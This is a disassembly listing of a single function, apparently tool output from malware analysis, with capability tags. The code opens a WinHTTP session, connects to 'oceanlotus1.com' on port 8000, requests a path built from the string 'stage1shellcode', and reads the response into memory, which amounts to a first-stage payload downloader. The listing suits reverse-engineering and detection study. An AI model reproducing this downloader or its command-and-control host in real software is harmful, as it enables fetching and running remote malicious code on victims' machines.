Function at 0x100012c0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x21c], eax
push edi
push edi
push edi
xor eax, eax
xor esi, esi
push edi
push str.A_WinHTTP_Example_Program_1.0
mov ebx, edx
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x210], eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x220], eax
test eax, eax
je 0x100013a9
push edi
push 0x1f40
push str.oceanlotus1.com
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x214], eax
test eax, eax
je 0x100013a9
push str.stage1shellcode
push 0x1001b8dc
lea eax, [ebp - 0x204]
push 0x100
push eax
call fcn.10001010
add esp, 0x10
lea eax, [ebp - 0x204]
push edi
push edi
push edi
push edi
push eax
mov eax, dword [ebp - 0x214]
push 0x1001b8e4
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x100013a9
push esi
push esi
push esi
push esi
push esi
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov esi, eax
mov dword [ebp - 0x218], esi
test esi, esi
je 0x100013a9
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov esi, eax
mov dword [ebp - 0x218], eax
mov dword [ebx], 0
test esi, esi
je 0x1000149d
xor esi, esi
nop dword [eax]
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x20c], 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x1000147f
mov eax, dword [ebp - 0x20c]
test eax, eax
je 0x1000144e
xor ecx, ecx
add eax, esi
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
push dword [ebx]
call fcn.10004b62
add esp, 8
mov dword [ebx], eax
test eax, eax
je 0x10001470
mov ecx, dword [ebp - 0x20c]
add eax, esi
inc ecx
push ecx
push 0
push eax
call fcn.10002760
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push dword [ebp - 0x20c]
mov eax, dword [ebx]
add eax, esi
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x10001462
add esi, dword [ebp - 0x208]
cmp dword [ebp - 0x20c], 0
ja 0x100013c0
mov eax, dword [ebx]
mov byte [esi + eax], 0
mov eax, dword [ebp - 0x21c]
test eax, eax
je 0x1000149d
mov dword [eax], esi
jmp 0x1000149d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpReadData._n
jmp 0x1000148b
push str.Error:_Out_of_memory._n
call fcn.10001070
add esp, 4
jmp 0x10001493
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.10001070
add esp, 8
mov dword [ebp - 0x210], 0xffffffff
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test edi, edi
je 0x100014aa
push edi
call esi
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x100014b7
push eax
call esi
mov eax, dword [ebp - 0x220]
test eax, eax
je 0x100014c4
push eax
call esi
cmp dword [ebp - 0x218], 0
jne 0x10001506
mov eax, dword [ebx]
test eax, eax
je 0x10001506
push eax
call fcn.100090dd
mov eax, dword [ebp - 0x21c]
add esp, 4
mov dword [ebx], 0
test eax, eax
je 0x100014f2
mov dword [eax], 0
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000169c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x210]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1000169c
mov esp, ebp
pop ebp
ret